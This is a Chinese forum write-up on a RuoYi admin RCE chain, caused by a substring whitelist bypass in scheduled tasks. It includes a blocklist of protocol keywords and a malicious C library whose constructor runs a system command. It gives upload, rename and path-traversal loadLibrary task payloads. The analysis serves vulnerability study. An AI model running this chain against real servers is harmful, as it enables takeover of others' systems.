找回密码
立即注册
搜索
热搜: Java Python Linux Go
发回帖 发新帖

3601

积分

0

好友

496

主题
发表于 12 小时前 | 查看: 2| 回复: 0

要利用该漏洞,攻击者需要知道目标系统的 profile 目录路径。

环境搭建

项目地址:https://github.com/yangzongzhuan/RuoYi/releases

首先导入项目所需的数据库,然后修改 application-druid.yml 文件中的数据库账号与密码。接着,需要修改 application.yml 配置文件中的文件上传路径以及日志存放路径。

application.yml配置文件截图

日志配置文件截图

当一切配置就绪后,启动应用,若看到控制台输出启动成功的信息,则说明环境搭建完成。

RuoYi应用启动成功日志

漏洞分析

计划任务功能

RuoYi 后台管理系统提供了强大的计划任务(定时任务)管理功能。管理员可以在系统管理界面添加新的定时任务。

RuoYi后台定时任务管理界面

通过拦截浏览器提交的数据包,我们可以定位到处理新增任务的后端路由为 /monitor/job/add,其对应的方法为 SysJobController.addSave()

浏览器开发者工具中拦截到的任务添加请求

addSave 方法中,程序对用户传入的 invokeTarget(调用目标字符串)进行了一系列的安全检查。

SysJobController.addSave方法代码

通过调试,我们可以清晰地看到这些检查的逻辑。前几个条件判断主要检查 invokeTarget 中是否包含 rmildap(s)http(s) 等关键词,目的是禁止通过这些协议进行远程调用,以防止潜在的 Java反序列化 或远程类加载攻击。

containsIgnoreCase方法判断是否包含“rmi”关键词

紧接着,代码会判断 invokeTarget 是否包含一些黑名单中的类名或包名,例如 java.net.URLjavax.naming.InitialContext 等。

containsAnyIgnoreCase方法检查黑名单字符串

最重要的检查是白名单验证。程序会进入 ScheduleUtils.whiteList() 方法。

进入白名单检查逻辑

该方法首先从 invokeTarget 中提取出调用的完整类名(包含方法名),然后检查该类名字符串中是否包含白名单字符串 com.ruoyi.quartz.task

ScheduleUtils.whiteList方法内部逻辑

这里的关键在于,检查使用的是 StringUtils.containsAnyIgnoreCase() 方法,这是一个正则匹配,意味着白名单字符串 com.ruoyi.quartz.task 只要出现在目标字符串的任意位置即可,而不要求是精确的前缀匹配。这为后续的绕过提供了可能。

containsAnyIgnoreCase方法实现

containsIgnoreCase方法内部字符串匹配逻辑

如果通过了所有检查,任务信息就会被正常保存到数据库中。

通过检查后,任务数据被插入数据库

当计划任务被触发执行时,系统会调用 QuartzDisallowConcurrentExecution.doExecute() 方法。

QuartzDisallowConcurrentExecution类代码

进而通过 JobInvokeUtil.invokeMethod() 方法,来解析并执行我们设定的调用目标。该方法会从 invokeTarget 字符串中分离出类名、方法名和参数值。

JobInvokeUtil.invokeMethod方法解析调用目标

在获取方法参数时,代码对参数类型进行了严格限制,只允许字符串、布尔值、长整型、浮点型和整型这些基本类型,无法直接传递复杂的类对象,这在一定程度上增加了利用难度。

getMethodParams方法处理参数类型

解析完成后,程序会实例化目标类,并通过反射调用其指定的方法。

根据类名实例化对象并调用方法

invokeMethod反射调用细节

综上所述,要成功添加并执行一个恶意的计划任务,我们需要满足以下几个条件:

  • 使用的类名不在黑名单中。
  • 调用目标字符串的任意位置包含 com.ruoyi.quartz.task 这个白名单字符串。
  • 不能使用 rmildaphttp 等协议关键词。

文件上传功能

在 RuoYi 系统中,存在一个通用的文件上传端点 /common/upload

CommonController.uploadFile方法代码

我们可以尝试上传一个文件,观察其行为。上传后,文件会被重命名并保存到配置的 profile 目录下,同时返回访问URL。

文件上传成功后服务器端处理逻辑

文件上传请求与响应包

这里有一个重要的发现:上传文件的原始文件名会被保留在返回信息中。那么,如果我们上传一个文件名本身就包含 com.ruoyi.quartz.task 字符串的文件,这个文件名不就能作为白名单校验的“载体”了吗?

利用包含白名单字符串的文件名

组合利用导致RCE

Java 中,存在一种名为 JNI (Java Native Interface) 的机制,它允许 Java 代码调用由其他语言(如 C/C++)编写的本地库。当本地库被加载时,其构造函数(标记为 __constructor__)会立即执行。

com.sun.glass.utils.NativeLibLoader 类的 loadLibrary(String libname) 方法正好可以加载这类本地库,并且该方法也是 public 修饰的。

NativeLibLoader.loadLibrary方法代码

我们可以编写一个恶意的 C 语言动态链接库,在其构造函数中执行系统命令,例如打开计算器。

#include<stdio.h>
#include<unistd.h>
#include<stdlib.h>

__attribute__ ((__constructor__)) void angel(void){
    // 调用 system 函数打开计算器应用程序
    system("open -a calculator");
}

//gcc -arch x86_64 -shared -o 1.dylib calc.c
//根据不同架构修改

在 macOS 系统下,使用如下命令编译(注意根据目标系统架构调整编译参数):

gcc -arch x86_64 -shared -o 1.dylib calc.c
mv 1.dylib ~/Downloads

编译动态链接库的命令行操作

需要注意的是,loadLibrary 方法会根据操作系统自动为库文件名添加后缀(如 macOS 的 .dylib, Linux 的 .so)。因此,我们在构造利用链时,需要先上传一个文件,再将其重命名为正确的库文件格式。

测试加载本地库的Java代码

漏洞利用链构造

  1. 上传恶意库文件:首先,我们将编译好的 1.dylib 文件,以包含白名单字符串的文件名(例如 com.ruoyi.quartz.task.txt)进行上传。这样,返回的文件路径中就会携带 com.ruoyi.quartz.task 字符串。

构造上传恶意动态链接库的HTTP请求包

上传成功后,在服务器上确认文件已存在。

在服务器上查看已上传的文件

  1. 重命名文件:由于上传的文件后缀是 .txt,需要将其改为 .dylib 才能被 loadLibrary 加载。我们可以利用系统已有的 ch.qos.logback.core.rolling.helper.RenameUtil.renameByCopying() 方法来实现文件重命名。这个方法可以通过计划任务来调用。
ch.qos.logback.core.rolling.helper.RenameUtil.renameByCopying("/Users/Aecous/tmp/upload/2025/04/25/com.ruoyi.quartz.task_20250425182743A001.txt","/Users/Aecous/tmp/upload/2025/04/25/com.ruoyi.quartz.task_20250425182743A001.dylib");

RenameUtil.rename方法代码逻辑

在后台添加一个计划任务,调用上述重命名方法。

后台任务列表,显示重命名文件的任务

执行该任务后,确认文件已被正确重命名。

服务器上确认文件已从.txt重命名为.dylib

  1. 执行RCE:最后,添加另一个计划任务,调用 NativeLibLoader.loadLibrary() 方法,通过路径穿越 (../../../../) 指向我们上传并重命名后的恶意动态链接库(注意调用时无需加后缀)。
com.sun.glass.utils.NativeLibLoader.loadLibrary('../../../../../../../../../../../Users/Aecous/tmp/upload/2025/04/25/com.ruoyi.quartz.task_20250425182743A001');

添加调用NativeLibLoader.loadLibrary的定时任务

当这个任务执行时,loadLibrary 会加载我们构造的 .dylib 文件,其构造函数中的 system("open -a calculator") 命令随即被执行,成功弹出了计算器,从而完成了从后台权限到远程代码执行(RCE)的完整攻击链。

RCE成功,计算器被弹出

这个漏洞的根源在于白名单校验逻辑的不严谨(子串匹配而非前缀匹配)与危险功能的可访问性(文件上传可控路径、可被调用的危险类方法)。在开发涉及后端任务调度和文件管理的系统时,必须对用户输入进行严格的校验和过滤,并对可反射调用的类与方法范围进行最小化限制。更多关于安全开发与实践的讨论,欢迎访问云栈社区。




上一篇:1Panel 部署 OpenClaw 接入 Matrix:构建本地加密 AI 聊天室教程
下一篇:开源AI编码代理OpenCode详解:支持Docker部署的Claude/OpenAI编程助手
您需要登录后才可以回帖 登录 | 立即注册

手机版|小黑屋|网站地图|云栈社区 ( 苏ICP备2022046150号-2 )

GMT+8, 2026-3-1 21:56 , Processed in 0.389835 second(s), 42 queries , Gzip On.

Powered by Discuz! X3.5

© 2025-2026 云栈社区.

快速回复 返回顶部 返回列表